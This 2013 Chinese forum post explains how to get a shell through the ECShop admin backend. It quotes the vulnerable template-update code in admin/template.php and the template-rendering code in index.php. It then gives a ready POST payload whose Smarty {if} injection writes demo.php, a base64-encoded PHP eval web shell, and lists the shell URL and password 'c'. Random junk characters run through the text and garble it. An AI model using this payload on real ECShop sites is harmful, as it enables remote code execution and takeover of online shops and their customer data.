找回密码
 立即注册
查看: 3229|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板" R) h) F' X; S
' Y7 b6 s7 H. h# f
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了5 C" [' J& ~# a8 H% z
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码( t* @- i" r; I  B9 ]" c; D
admin/template.php6 B) K8 t% B" k2 _. X
1 a4 K2 a- J& e/ K6 Q0 Q4 ]( Z
1 if ($_REQUEST['act'] == 'update_library')
* }5 b( B5 U2 D9 k4 A7 ~2 Z9 v" @% E7 O& o: F
2   " T/ [: p, l7 ]+ c1 [

2 }- z/ _! ~8 d' T2 S6 K  u3 {
) ~. U( P8 [& u) p0 R
9 q0 i7 P1 i, ?! X% R4     check_authz_json('library_manage'); , \% R# n: @( [  A

; V) g6 @6 @# ~1 ?3 ~5   
7 c" P. \# i% K7 t6 e  X
- D, \) K" F8 |# n8 @6     $html = stripslashes(json_str_iconv($_POST['html'])); 0 R+ w5 Q. g- J& y( Y
8 Q, p: x3 k' D% D  ]& y+ l
7   
+ f( T& H" k9 D: y9 _$ |2 x# E/ R- T0 K% T# D; V
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
: Q8 }  ~2 P# D& b2 I3 p+ O9 ^/ B  L6 s
9   . m' [( H/ A: ?5 g( ]( F, F
7 ?8 u- |/ r! n2 v* v
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 , F! \" ]1 c/ X; w' \7 T6 N
4 |: R" k1 E  b  }0 i  D* B9 M1 G
11   
' F! P' [1 \) z" h* I1 E; I% R1 F6 n$ L8 M- L$ x, u" s+ j
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); ) c8 s% \: u4 Z+ V; T
& ^2 v! B& q( p  [# d7 ~& b* L
13   
& \+ p" y* z; u0 O6 y8 m* E# Z) @' P; O1 i0 d( C
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
( I- ]" r0 l' I! c6 V7 E$ p; l4 V3 y, y+ O
15     { # |7 b2 f4 }/ j% S  u6 {" ?& X# n
% ~/ J+ n" N$ \4 x+ v1 {  J# y
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
  u2 ?* t6 Y* G: V+ ]5 n; T; @" T8 f' J) g
17         make_json_result('', $_LANG['update_lib_success']);
* U& V% c  e6 k: o: \: M) z
4 q, a7 a( w0 k# R; r18     }
* N& D6 R8 y3 t( i9 m7 F3 K. j* b" @5 C7 L5 G' i  a
19     else
) U. n( A) }/ f7 V( v
. r  r8 x- Q0 z. I$ e6 p- @20     {
7 k6 T5 q! U- I, t6 [1 G6 ^
' M8 T8 U, Y) \; z21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
% j# y+ V5 @5 c6 a* V$ k* F
) t2 @5 ?+ F2 ~+ T22     }
( J. v5 X- P# O" k
- M! O. i$ H6 v3 f23 } # F7 I! q) ]4 R* \

; n7 K! i3 V0 A+ g- v那么找个比较方便调用了模板的文件
/ H) I' z  t5 O  _2 rindex.php
3 s( x6 A1 |7 O4 O: n) c$ a
- g2 @# |4 Y" J. m, d( d) _! C/ K" c1 if ($act == 'cat_rec') . H  n1 y  c1 _4 ?

+ o2 X, ?% `; [* h- C1 @2   
% m, \; [* c# P% o7 j' c* ]: U
3 {
$ Y  T) }. @1 M9 T, l' F7 S# w( T0 C. n# i6 o* u, ?, V7 f
4     p0 f5 y$ i0 i* [3 Z
; I* j+ s* y% U9 e: _3 S
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); 9 J8 o8 a; j" h

0 o/ u& z3 h/ T, W! @) |$ d- z6   
7 g2 ^# P9 Q( K" e4 R! p
. ]  }6 [" t- J, A9 u- H$ P( d7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; " k" {4 g  |' Q5 w" I- R
) s7 Q, M/ m/ W' X4 v
8   2 r0 n7 S* P! d; t1 C2 D
3 [0 i2 I$ `0 \" T9 t) s8 a% \
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 6 {2 q' i; w6 A0 x) d/ c
) ]4 j9 L$ W) l+ q  F" v) F
10   
  Y) `) L1 e7 N! H7 g) A( y& U. ~! F" S
11     include_once('includes/cls_json.php');
- `  _; U  K! _% g& d
0 x& O1 v1 t8 C8 K12   1 B3 t0 x9 t5 {* H3 b) q
& S2 B' U) @% Q% S4 V! w! w( Q
13     $json = new JSON;
8 S. X9 z3 N8 e! G4 \& p  {8 `/ f. P6 P* q7 \- c
14   7 M: _( j' ^! F/ \" k1 z
+ X8 p0 t' g4 [' u( D6 m( T
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
* y' M. s( ?" x/ m" i4 ~
6 W$ G! C: c" i# f  A. A8 O9 w16   ; W) y7 {( V( V

' g/ |! C2 e# \  X2 q17     $children = get_children($cat_id); $ T% m$ H8 y, y, e" T4 |* N

8 U6 a; ~* m: w2 |9 @  x18   3 D) N: r# m0 J2 ?
; v5 ?+ E7 t9 P# Q9 M
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 0 e1 f) ?2 y. n4 T* V; F" A
; d, ]# b9 N1 H6 w
20   ' G. ]/ s' J( n- T. O

( T* y1 T. x. b% K21     $smarty->assign('cat_rec_sign', 1);
8 c9 A% Q, s( g6 q7 Z* ]
$ H6 {9 @. \0 e! R3 M5 @  `22   % F/ U7 e' \& O: }) A4 N
/ K6 h. u. D$ B5 j  q+ V
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 3 m/ p# f: H. N5 ~- `0 T

/ H  W! W  ]8 c0 Q8 x24   # n8 b( q( r5 S- [* @7 e
) J/ E2 w1 V1 d/ ]9 I
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
7 H! h  z# F0 n" N& x
! l5 c: _* _" u2 J26   . C4 ?3 k) X% d. |4 ^) ~
7 r" a2 o. Z& `( l  m
27         echo $rec_array[$rec_type];
9 E# q$ Z  A) Q) V+ ^# \) ?) G1 p7 o3 H' \2 _5 h. O
28   
! o& g3 E( r! h: Z0 ?: U0 ^7 P% y9 x  W. R  X: {& x
29     die($json->encode($result));
2 s  G- V, ?- I# C# A9 l1 O
0 _3 u; A' s- r& _: [9 ]* H" _' }30   3 C6 x$ e) [* d+ ~! p

9 @% i7 p* G- z) q! S31 } ; Z: y2 O/ d: X8 q" s( z

2 @1 P, ]# B9 M4 i: j8 T, C那么就有利用方法了
1 v3 B; @/ j" z# a8 N% Gpost包到http://localhost/ec/admin/template.php?act=update_library! H7 Q5 @0 e) V- ?( y. w- d
Post内容:  C9 Z# R" Q$ V# Z
5 [: z) s+ ^* Y1 r, _3 K6 }

: R0 a: H6 V+ C1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
: K/ S) |9 Q+ t  B
, Z( b: z0 P/ u: l1 N0 r7 q然后访问http://localhost/ec/index.php?act=cat_rec
! G. x2 w( x1 b- _. F
: u- i: S- U  hshel地址:http://localhost/ec/demo.php& F" f# r9 N9 }5 ^6 S
密码c% [; f6 L) i% ~6 ?4 N4 N3 ?
$ C9 y5 p. ^) Q0 w& o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表